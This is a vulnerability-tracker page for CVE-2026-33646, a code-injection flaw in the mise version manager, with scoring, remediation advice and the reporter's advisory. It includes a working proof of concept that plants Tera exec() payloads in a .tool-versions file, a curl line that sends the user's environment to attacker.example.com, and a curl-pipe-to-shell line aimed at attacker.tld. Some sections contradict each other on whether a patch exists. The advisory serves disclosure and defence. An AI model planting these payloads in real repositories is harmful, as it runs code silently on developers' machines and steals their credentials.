Skip to main content

mise CVE-2026-33646

| EUVDEUVD-2026-39816 CRITICAL
Code Injection (CWE-94)
2026-06-22 https://github.com/jdx/mise GHSA-fjj5-v948-whjj
9.6
CVSS 3.1 · Vendor: https://github.com/jdx/mise
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker commits malicious .tool-versions to repo
  2. Delivery
    Victim clones or pulls branch
  3. Exploit
    Victim cd's into working directory
  4. Install
    mise hook-env parses .tool-versions
  5. C2
    Tera renders exec() without trust check
  6. Execute
    Shell command runs as victim user
  7. Impact
    Credentials/env exfiltrated or persistence installed

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Victim must have mise installed AND shell activation enabled via eval "$(mise activate zsh|bash|fish)" in their rc file, AND the paranoid setting must be at its default value of false. Triggering requires the victim to cd into a directory whose tree contains an attacker-controlled .tool-versions file with Tera template syntax (e.g., from git clone, git checkout of a malicious branch, or a tarball extraction). No authentication or elevated privileges are required on the target system, and no trust prompt is shown. Limiting factors: users running with paranoid = true, users without shell activation (who only invoke mise explicitly), and environments where .tool-versions is not present in the checked-out tree are not exposed.

Impact

Real-world risk is high. CVSS 9.6 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H) is broadly justified: delivery is network-borne (cloning a repo) and exploitation triggers automatically on cd, with scope change because code runs in the victim's full shell environment. The UI:R rating reflects the victim needing to enter the directory, which in developer workflows is routine and effectively passive. EPSS and KEV data were not provided, so widespread automated exploitation cannot be asserted, but the supply-chain shape (commit a malicious .tool-versions via PR, hit every reviewer with mise active) makes this a credible targeted-attack primitive against developer workstations. The CVSS vector and description are consistent - no notable conflicts - though calling this AV:N is somewhat liberal since delivery actually happens via a file the user pulls down; AV:L would be defensible. Prioritize patching on any host where developers use mise with shell activation.

Exploit ScenarioDerived

An attacker opens a pull request against a popular open-source project that already has a .tool-versions file, adding a Tera {{ exec(command="curl attacker.tld/x | sh") }} payload concatenated with a legitimate tool/version line so the file still parses. Any reviewer or maintainer with mise shell activation who checks out the branch and cds into the working tree silently executes the attacker's command as their user, with full access to environment variables, SSH agent, and cloud tokens. A working PoC is included in the advisory and was validated on mise 2026.3.9.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Arbitrary code execution in mise (jdx/mise) versions prior to 2026.3.10 allows attackers to run shell commands as the victim user simply by having them cd into a directory containing a malicious .tool-versions file. Unlike .mise.toml, .tool-versions files bypass the trust verification gate in non-paranoid mode, so the Tera template engine's exec() function fires silently from the shell hook-env. No public exploit identified at time of analysis beyond the detailed reporter PoC, but exploitation is trivial and a working PoC is embedded in the advisory.

RemediationAI

Vendor-released patch: upgrade mise to 2026.3.10 or later (e.g., mise self-update or brew upgrade mise), per the GHSA-fjj5-v948-whjj advisory at https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj. If immediate upgrade is not possible, enable paranoid mode (mise settings set paranoid true) so that trust_check runs against .tool-versions as it does for .mise.toml; the trade-off is that every config file will prompt for trust on first use, adding friction to legitimate workflows. As a stronger interim control, disable shell activation (remove eval "$(mise activate ...)" from shell rc files) so hook-env does not fire on cd - this prevents drive-by execution but removes auto-switching of tool versions. Avoid cd-ing into freshly cloned or unreviewed repositories until patched, and audit existing .tool-versions files in your repos for Tera syntax ({{, {%, {#).

Affected VersionsENISA

mise < 2026.3.10

Affected Packages

cargo mise fix: 2026.3.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in cargo

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

mise is a Rust-based polyglot runtime/version manager (successor to rtx, asdf-compatible) that resolves tool versions per-directory via shell hooks. During hook-env, src/config/config_file/tool_versions.rs::parse_str passes file contents through get_tera(dir).render_str() in src/tera.rs, which registers an exec function that invokes a shell with the user's PRISTINE_ENV. The trust gate in src/config/config_file/mod.rs only invokes trust_check(path) when settings.paranoid is true, so .tool-versions is parsed (and templates rendered) without authorization. The root cause is a CWE-94 / CWE-1188 class issue - code injection via an unsafe default that treats untrusted template input as trusted, inconsistent with the protection applied to .mise.toml. Affected package per CPE is pkg:rust/mise.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/jdx/mise) PRIMARY 9.6 CRITICAL
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

Delivery requires a local file the user fetches and a `cd` action (AV:L, UI:R); no auth needed (PR:N); execution stays within the victim's user context, so S:U; full C/I/A impact on that user.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/jdx/mise).

CVSS VectorVendor: https://github.com/jdx/mise

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.

Vulnerability Details

Vulnerable Code

File: src/config/config_file/tool_versions.rs, lines 60-63

rust
pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
    let mut cf = Self::init(&path);
    let dir = path.parent();
    let s = get_tera(dir).render_str(s, &cf.context)?;  // <-- No trust check
    // ...
}

File: src/tera.rs, lines 385-391

rust
pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.

File: src/config/config_file/mod.rs, lines 272-287

rust
pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {
    if let Ok(settings) = Settings::try_get()
        && settings.paranoid
    {
        trust_check(path)?;  // Only in paranoid mode!
    }
    match detect_config_file_type(path).await {
        // ...
        Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),
        // ...
    }
}

Attack Vector

  1. An attacker creates a .tool-versions file in a git repository containing Tera template syntax with the exec() function.
  2. The victim clones the repository and has mise activated in their shell (via eval "$(mise activate zsh)" or equivalent).
  3. When the victim cds into the repository directory, mise's shell hook (hook-env) fires automatically.
  4. hook-env loads and parses config files, including .tool-versions.
  5. During parsing, ToolVersions::parse_str processes the file content through get_tera(dir).render_str().
  6. The Tera engine evaluates {{ exec(command="...") }}, executing arbitrary commands as the victim's user.
  7. No trust prompt is displayed because trust_check is not called for .tool-versions files in non-paranoid mode.

Execution Context

  • Commands execute as the current user with full access to their environment.
  • The pristine environment (env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).
  • Execution happens silently during the prompt hook -- the user sees no indication that code was run.

Contrast with .mise.toml

.mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.

Steps to Reproduce

Prerequisites

  • mise installed (brew install mise or equivalent)
  • Shell activation enabled: eval "$(mise activate zsh)" (or bash/fish)
  • Default settings (paranoid mode NOT enabled - this is the default)

PoC: Silent RCE on cd

Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:

bash
mkdir -p /tmp/poc-mise-repo
cd /tmp/poc-mise-repo
git init

cat > .tool-versions << 'EOF'
{{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0
python 3.11.0
EOF

git add -A && git commit -m "Initial commit"

Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout - the exec() returns an empty string, making the line evaluate to node 20.0.0.

Step 2: In a new shell with mise activated, enter the directory:

bash
eval "$(mise activate zsh)"
cd /tmp/poc-mise-repo

Step 3: Verify arbitrary code execution:

bash
cat /tmp/mise-rce-proof

Expected output:

uid=501(youruser) gid=20(staff) groups=20(staff),...
SUCCESS=youruser
Mon Mar 16 21:34:46 IST 2026

No trust prompt, no warning, no error output. The id command executed silently as the current user.

Validated Test Results

Tested on 2026-03-16 with:

  • mise 2026.3.9 macos-arm64
  • macOS Darwin 24.5.0 arm64
  • zsh 5.9
  • Paranoid mode: false (default)

Test 1 - .tool-versions (no trust check):

$ rm -f /tmp/mise-rce-proof
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd'
/tmp/poc-mise-repo
$ cat /tmp/mise-rce-proof
uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
SUCCESS=golan
Mon Mar 16 21:34:46 IST 2026

Command executed silently. No trust prompt. No errors.

Test 2 - .mise.toml with same payload (trust check blocks execution):

$ mkdir -p /tmp/poc-mise-toml
$ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'
[tools]
node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0"
TOMLEOF
$ rm -f /tmp/mise-hook-pwned
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd'
mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.
Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html
$ cat /tmp/mise-hook-pwned
cat: /tmp/mise-hook-pwned: No such file or directory

.mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.

Alternative PoC (data exfiltration)

{{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0

Impact

  • Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious .tool-versions file.
  • Supply chain attack vector: .tool-versions is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.
  • Silent execution: No trust prompt, warning, or user interaction required.
  • Full user privilege escalation: Commands run with the full privileges and environment of the current user.
  • Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.
  • Widespread potential impact: Any open-source project with a .tool-versions file could be targeted. A malicious PR adding tera syntax to an existing .tool-versions file could execute code on all reviewers' machines.

Suggested Fix

Option 1: Add trust_check to .tool-versions parsing (recommended)

rust
// In src/config/config_file/tool_versions.rs
pub fn from_file(path: &Path) -> Result<Self> {
    trace!("parsing tool-versions: {}", path.display());
    Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())
}

pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
    let mut cf = Self::init(&path);
    let dir = path.parent();
    // Only use tera if the file contains template syntax AND is trusted
    let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") {
        trust_check(&path)?;
        get_tera(dir).render_str(s, &cf.context)?
    } else {
        s.to_string()
    };
    // ...
}

Option 2: Remove exec() from .tool-versions tera context

Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.

Option 3: Remove tera processing from .tool-versions entirely

.tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.

Executive ViewAI

Why It Matters

mise, a development tool used to manage language and tool versions, contains a critical code execution vulnerability (CVE-2026-33646, CVSS 9.6) enabling attackers to execute arbitrary code as the victim user when they enter a compromised directory. All versions prior to 2026.3.10 are affected, with no vendor patch currently available, leaving organizations with deployed mise installations in an indefinite window of exposure.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Require mise paranoid mode if supported, enforcing explicit trust verification; (2) Restrict mise usage to internal/trusted repositories only; (3) Monitor and block .tool-versions file execution via endpoint detection or HIPS; (4) Disable mise for developers regularly working with external open-source code; (5) Implement file-integrity monitoring on all .tool-versions files in monitored directories; (6) Consider alternative version managers until patch is available.

Threat Intelligence Overview

EPSS Score
0.7%
Top 52% exploitable
Prevalence
Low
Developer version manager tool, niche adoption vs asdf/nvm
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +48
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy